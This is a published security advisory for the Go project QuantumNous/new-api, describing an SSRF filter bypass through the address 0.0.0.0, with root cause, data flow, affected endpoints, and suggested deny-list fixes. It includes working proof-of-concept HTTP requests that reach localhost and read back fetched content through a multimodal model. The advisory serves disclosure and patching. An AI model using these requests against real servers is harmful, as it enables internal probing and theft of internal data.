GHSA-V5C3-6WVC-PC2Q
Vulnerability from github – Published: 2026-05-06 17:23 – Updated: 2026-05-06 17:23SSRF Filter Bypass via 0.0.0.0
Summary
The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.
Details
Root Cause
common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:
10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8169.254.0.0/16224.0.0.0/4240.0.0.0/4
0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.
Default Fetch Settings
setting/system_setting/fetch_setting.go (lines 16–24) defaults:
EnableSSRFProtection: trueAllowPrivateIp: falseAllowedPorts: ["80", "443", "8080", "8443"]ApplyIPFilterForDomain: true
So 0.0.0.0 on any of these four ports passes all checks.
Data Flow (primary chain — /v1/chat/completions)
User API token
→ /v1/chat/completions (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143 loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0
Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.
Additional Affected Endpoints
The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:
| Endpoint | User-controlled field | Auth required |
|---|---|---|
/v1/chat/completions |
image_url.url, file.file_data, video_url |
Regular user token |
/v1/responses |
input_file.file_url, input_image.image_url |
Regular user token |
/v1/messages |
source.url (type: "url") |
Regular user token |
/api/user/setting |
webhook_url, bark_url, gotify_url |
Regular user (self) |
Upgrade to Full-Read SSRF (conditional)
relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():
- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content
- When
source.type == "url", it callsservice.GetBase64Data()which invokes the sameDoDownloadRequest()path - The fetched content is rewritten to
type: "base64"and inlined into the model request - The model then describes/transcribes the content in its response
This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.
Proof of Concept
Prerequisites: A regular user account with a valid API token. No admin privileges required.
Step 1 — Control group: 127.0.0.1 is blocked
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://127.0.0.1:8080/probe.png",
"detail": "low"
}
}
]
}
]
}
Response:
private IP address not allowed: 127.0.0.1
Step 2 — Experiment group: 0.0.0.0 bypasses the filter
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://0.0.0.0:8080/probe.png",
"detail": "low"
}
}
]
}
]
}
Response:
dial tcp 0.0.0.0:8080: connect: connection refused
The server attempted a real TCP connection — the SSRF filter was bypassed.
Step 3 — Confirm readback capability via multimodal model
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "claude-3-5-sonnet-latest",
"stream": false,
"max_tokens": 32,
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "Transcribe exactly the text in the image. Output only the text."
},
{
"type": "image_url",
"image_url": {
"url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
"detail": "low"
}
}
]
}
]
}
Response:
{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}
This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.
Impact
An authenticated regular user (no admin privileges) can:
- Probe localhost and internal services — Determine open/closed ports on the server by observing
connection refusedvs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. - Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).
- Bypass all previous SSRF mitigations — This is a direct bypass of the
isPrivateIP()check. No redirect chain, no DNS rebinding, no race condition required — just replacing127.0.0.1with0.0.0.0.
Since user registration is often enabled by default, any registered user can exploit this.
Suggested Fix
- Add
0.0.0.0/8to the deny list inisPrivateIP()(common/ssrf_protection.go) - Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for:
0.0.0.0/8("This network")100.64.0.0/10(Carrier-grade NAT)198.18.0.0/15(Benchmarking)- IPv6 equivalents:
::1,::,[::],fe80::/10 - Apply the same IP validation to post-redirect targets (already partially addressed in
service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter)
Resources
- CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5
- CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/QuantumNous/new-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.11.9-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42339"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T17:23:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# SSRF Filter Bypass via `0.0.0.0` \n\n### Summary\n\nThe SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address `0.0.0.0`. A regular (non-admin) user holding any valid API token can send a multimodal request to `/v1/chat/completions`, `/v1/responses`, or `/v1/messages` with `0.0.0.0` as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a **blind SSRF**; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a **full-read SSRF**.\n\n### Details\n\n#### Root Cause\n\n`common/ssrf_protection.go` \u2014 `isPrivateIP()` (lines 33\u201347) checks the following ranges:\n\n- `10.0.0.0/8`\n- `172.16.0.0/12`\n- `192.168.0.0/16`\n- `127.0.0.0/8`\n- `169.254.0.0/16`\n- `224.0.0.0/4`\n- `240.0.0.0/4`\n\n**`0.0.0.0/8` is not checked.** On Linux, `0.0.0.0` resolves to the local machine, same as `127.0.0.1`.\n\n#### Default Fetch Settings\n\n`setting/system_setting/fetch_setting.go` (lines 16\u201324) defaults:\n\n- `EnableSSRFProtection: true`\n- `AllowPrivateIp: false`\n- `AllowedPorts: [\"80\", \"443\", \"8080\", \"8443\"]`\n- `ApplyIPFilterForDomain: true`\n\nSo `0.0.0.0` on any of these four ports passes all checks.\n\n#### Data Flow (primary chain \u2014 `/v1/chat/completions`)\n\n```\nUser API token\n\u2192 /v1/chat/completions (TokenAuth, no admin required)\n\u2192 messages[].content[].image_url.url = \"http://0.0.0.0:8080/...\"\n\u2192 dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source\n\u2192 dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url\n\u2192 service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true\n\u2192 service/file_service.go:135-143 loadFromURL() \u2192 DoDownloadRequest()\n\u2192 service/download.go:52-68 ValidateURLWithFetchSetting() \u2192 0.0.0.0 NOT blocked \u2192 GetHttpClient().Get()\n\u2192 Server issues real TCP connection to 0.0.0.0\n```\n\n**Note on stream requirement:** `common/init.go` (lines 140\u2013141) defaults `GET_MEDIA_TOKEN=true` but `GET_MEDIA_TOKEN_NOT_STREAM=false`, so `stream: true` is needed to trigger the fetch path.\n\n#### Additional Affected Endpoints\n\nThe same `ValidateURLWithFetchSetting()` \u2192 `DoDownloadRequest()` sink is reachable from:\n\n| Endpoint | User-controlled field | Auth required |\n|---|---|---|\n| `/v1/chat/completions` | `image_url.url`, `file.file_data`, `video_url` | Regular user token |\n| `/v1/responses` | `input_file.file_url`, `input_image.image_url` | Regular user token |\n| `/v1/messages` | `source.url` (type: `\"url\"`) | Regular user token |\n| `/api/user/setting` | `webhook_url`, `bark_url`, `gotify_url` | Regular user (self) |\n\n#### Upgrade to Full-Read SSRF (conditional)\n\n`relay/channel/aws/adaptor.go` (lines 41\u201361) \u2014 `ConvertClaudeRequest()`:\n\n- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content\n- When `source.type == \"url\"`, it calls `service.GetBase64Data()` which invokes the same `DoDownloadRequest()` path\n- The fetched content is rewritten to `type: \"base64\"` and inlined into the model request\n- The model then describes/transcribes the content in its response\n\nThis means an attacker can read the actual content of internal resources (images, PDFs, text) through the model\u0027s output, not just detect open/closed ports.\n\n### Proof of Concept\n\n**Prerequisites:** A regular user account with a valid API token. No admin privileges required.\n\n**Step 1 \u2014 Control group: `127.0.0.1` is blocked**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"model\": \"gpt-4o-mini\",\n \"stream\": true,\n \"max_tokens\": 1,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"text\", \"text\": \"describe\"},\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"http://127.0.0.1:8080/probe.png\",\n \"detail\": \"low\"\n }\n }\n ]\n }\n ]\n}\n```\n\nResponse:\n\n```\nprivate IP address not allowed: 127.0.0.1\n```\n\n**Step 2 \u2014 Experiment group: `0.0.0.0` bypasses the filter**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"model\": \"gpt-4o-mini\",\n \"stream\": true,\n \"max_tokens\": 1,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"text\", \"text\": \"describe\"},\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"http://0.0.0.0:8080/probe.png\",\n \"detail\": \"low\"\n }\n }\n ]\n }\n ]\n}\n```\n\nResponse:\n\n```\ndial tcp 0.0.0.0:8080: connect: connection refused\n```\n\nThe server attempted a real TCP connection \u2014 the SSRF filter was bypassed.\n\n**Step 3 \u2014 Confirm readback capability via multimodal model**\n\n```http\nPOST /v1/chat/completions HTTP/1.1\nHost: \u003credacted\u003e\nAuthorization: Bearer sk-\u003cuser-token\u003e\nContent-Type: application/json\n\n{\n \"model\": \"claude-3-5-sonnet-latest\",\n \"stream\": false,\n \"max_tokens\": 32,\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\n \"type\": \"text\",\n \"text\": \"Transcribe exactly the text in the image. Output only the text.\"\n },\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"https://dummyimage.com/600x180/111/fff.png\u0026text=READBACK-OK-314159\",\n \"detail\": \"low\"\n }\n }\n ]\n }\n ]\n}\n```\n\nResponse:\n\n```json\n{\"choices\":[{\"message\":{\"content\":\"READBACK-OK-314159\"}}]}\n```\n\nThis confirms that when the fetch target returns readable content (image/PDF/text), the model\u0027s response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on `0.0.0.0:\u003callowed-port\u003e` returns image or document content, an attacker can exfiltrate it.\n\n### Impact\n\nAn authenticated regular user (no admin privileges) can:\n\n1. **Probe localhost and internal services** \u2014 Determine open/closed ports on the server by observing `connection refused` vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.\n2. **Exfiltrate internal content** \u2014 When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text).\n3. **Bypass all previous SSRF mitigations** \u2014 This is a direct bypass of the `isPrivateIP()` check. No redirect chain, no DNS rebinding, no race condition required \u2014 just replacing `127.0.0.1` with `0.0.0.0`.\n\nSince user registration is often enabled by default, any registered user can exploit this.\n\n### Suggested Fix\n\n1. Add `0.0.0.0/8` to the deny list in `isPrivateIP()` (`common/ssrf_protection.go`)\n2. Audit against the full [[IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/)](https://www.iana.org/assignments/iana-ipv4-special-registry/) \u2014 also ensure coverage for:\n - `0.0.0.0/8` (\"This network\")\n - `100.64.0.0/10` (Carrier-grade NAT)\n - `198.18.0.0/15` (Benchmarking)\n - IPv6 equivalents: `::1`, `::`, `[::]`, `fe80::/10`\n3. Apply the same IP validation to post-redirect targets (already partially addressed in `service/http_client.go:24-33`, but does not help when the initial address itself bypasses the filter)\n\n### Resources\n\n- **CVE-2025-59146** (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5\n- **CVE-2025-62155** (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6",
"id": "GHSA-v5c3-6wvc-pc2q",
"modified": "2026-05-06T17:23:21Z",
"published": "2026-05-06T17:23:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-v5c3-6wvc-pc2q"
},
{
"type": "PACKAGE",
"url": "https://github.com/QuantumNous/new-api"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9f46-w24h-69w4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.